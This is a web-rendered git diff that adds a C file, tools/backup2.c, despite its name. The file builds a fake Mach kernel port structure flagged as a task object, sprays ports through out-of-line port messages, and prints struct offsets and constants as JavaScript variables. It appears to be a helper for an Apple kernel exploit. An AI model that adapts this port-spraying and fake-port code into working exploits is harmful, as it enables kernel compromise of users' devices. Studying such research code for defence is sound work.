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-rw-r--r--tools/backup2.c171
1 files changed, 171 insertions, 0 deletions
diff --git a/tools/backup2.c b/tools/backup2.c
new file mode 100644
index 0000000..87cf03d
--- /dev/null
+++ b/tools/backup2.c
@@ -0,0 +1,171 @@
+#include <mach/mach.h>
+#include <sys/mman.h>
+#include <stddef.h>
+#include <stdio.h>
+//#include <IOKit/IOKitLib.h>
+//#include <IOKit/iokitmig.h>
+
+typedef struct __attribute__((__packed__)) {
+ uint32_t ip_bits;
+ uint32_t ip_references;
+ struct __attribute__((__packed__)) {
+ uint32_t data;
+ uint32_t pad;
+ uint32_t type;
+ } ip_lock;
+ struct __attribute__((__packed__)) {
+ struct __attribute__((__packed__)) {
+ struct __attribute__((__packed__)) {
+ uint32_t flags;
+ uintptr_t waitq_interlock;
+ uint64_t waitq_set_id;
+ uint64_t waitq_prepost_id;
+ struct __attribute__((__packed__)) {
+ uintptr_t next;
+ uintptr_t prev;
+ } waitq_queue;
+ } waitq;
+ uintptr_t messages;
+ natural_t seqno;
+ natural_t receiver_name;
+ uint16_t msgcount;
+ uint16_t qlimit;
+ } port;
+ uintptr_t imq_klist;
+ } ip_messages;
+ natural_t ip_flags;
+ uintptr_t ip_receiver;
+ uintptr_t ip_kobject;
+ uintptr_t ip_nsrequest;
+ uintptr_t ip_pdrequest;
+ uintptr_t ip_requests;
+ uintptr_t ip_premsg;
+ uint64_t ip_context;
+ natural_t ip_mscount;
+ natural_t ip_srights;
+ natural_t ip_sorights;
+} kport_t;
+
+mach_port_t kp = 0;
+mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
+ if (!kp) {
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
+ mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
+ }
+
+ mach_port_t mp = 0;
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
+ mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
+
+ send_ports(mp, kp, 2, number_port_descs);
+
+ return mp;
+}
+
+kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
+{
+ mach_port_t init_port_set[num];
+ for(size_t i = 0; i < num; ++i)
+ {
+ init_port_set[i] = payload;
+ }
+
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
+ Request *InP = (Request*)buf;
+
+ InP->msgh_body.msgh_descriptor_count = number_port_descs;
+ for (int i = 0; i < 2; i++) {
+ InP->init_port_set[i].address = (void *)(init_port_set);
+ InP->init_port_set[i].count = 4;
+ InP->init_port_set[i].disposition = 19;
+ InP->init_port_set[i].deallocate = FALSE;
+ InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ }
+
+ InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ /* msgh_size passed as argument */
+ InP->Head.msgh_remote_port = 0x44434241;
+ InP->Head.msgh_local_port = 0;
+ InP->Head.msgh_id = 0x1337;
+
+
+ int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ printf("%d %s\n", ret, mach_error_string(ret));
+ return ret;
+}
+
+int main(int argc, char* argv[]) {
+ printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE);
+ printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND);
+ printf("var MACH_PORT_LIMITS_INFO = 0x%x;\n", MACH_PORT_LIMITS_INFO);
+ printf("var MACH_PORT_LIMITS_INFO_COUNT = 0x%x;\n", MACH_PORT_LIMITS_INFO_COUNT);
+ printf("var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x%x;\n", MACH_MSG_OOL_PORTS_DESCRIPTOR);
+ printf("var kport_size = 0x%x;\n", sizeof(kport_t));
+ kport_t kport[2] = {};
+ uintptr_t *ptr = (uintptr_t*)(kport + 1);
+ kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ kport->ip_references = 100;
+ kport->ip_lock.type = 0x11;
+ kport->ip_messages.port.qlimit = 777;
+ kport->ip_receiver = 0x12345678; // dummy
+ kport->ip_srights = 99;
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ printf("%x\n", sizeof(Request));
+ printf("%x\n", sizeof(mach_msg_ool_ports_descriptor_t));
+ printf("var req_init_port_set = 0x%x\n", offsetof(Request, init_port_set));
+ printf("var req_init_port_set_address = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, address));
+ printf("var req_init_port_set_count = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, count));
+ printf("%x %x %x %x %x\n", PROT_READ, PROT_WRITE, PROT_EXEC, MAP_PRIVATE, MAP_ANON);
+// printf("var req_init_port_set_disposition = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, disposition));
+// printf("var req_init_port_set_deallocate = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, deallocate));
+// printf("var req_init_port_set_type = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, type));
+ printf("var req_head_msgh_bits = 0x%x\n", offsetof(Request, Head.msgh_bits));
+ printf("var req_head_msgh_request_port = 0x%x\n", offsetof(Request, Head.msgh_remote_port));
+ printf("var req_head_msgh_reply_port = 0x%x\n", offsetof(Request, Head.msgh_local_port));
+ printf("var req_head_msgh_id = 0x%x\n", offsetof(Request, Head.msgh_id));
+ printf("var req_msgh_body_msgh_descriptor_count = 0x%x\n", offsetof(Request, msgh_body.msgh_descriptor_count));
+
+ printf("%x\n", sizeof(mach_msg_header_t));
+
+ printf("%x\n", MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE));
+ printf("%x\n", MACH_SEND_MSG|MACH_MSG_OPTION_NONE);
+ printf("%x\n", MACH_MSG_TIMEOUT_NONE);
+
+ printf("var kport_ip_bits%x = 0x%x;\n", 4, offsetof(kport_t, ip_bits));
+ printf("var kport_ip_references%x = 0x%x;\n", 4, offsetof(kport_t, ip_references));
+ printf("var kport_ip_lock_type%x = 0x%x;\n", 4, offsetof(kport_t, ip_lock.type));
+ printf("var kport_ip_messages_port_qlimit%x = 0x%x;\n", 2, offsetof(kport_t, ip_messages.port.qlimit));
+ printf("var kport_ip_receiver%x = 0x%x;\n", 4, offsetof(kport_t, ip_receiver));
+ printf("var kport_ip_srights%x = 0x%x;\n", 4, offsetof(kport_t, ip_srights));
+ printf("var MIG_MAX = 0x%x\n", 0x1000);
+ printf("var NDR_record = %x %x %x %x\n", NDR_record);
+
+ spray_ports(2);
+
+/*
+ for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {
+ printf("0x%02x,", ((uint8_t*)(buf))[i]);
+ }
+ printf("\n");
+
+ int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/
+//
+// printf("%d %s\n", ret, mach_error_string(ret));
+
+ // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t));
+ // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141);
+
+ return 0;
+}
generated by cgit v1.2.3 (git 2.39.1) at 2025-11-30 20:48:03 +0000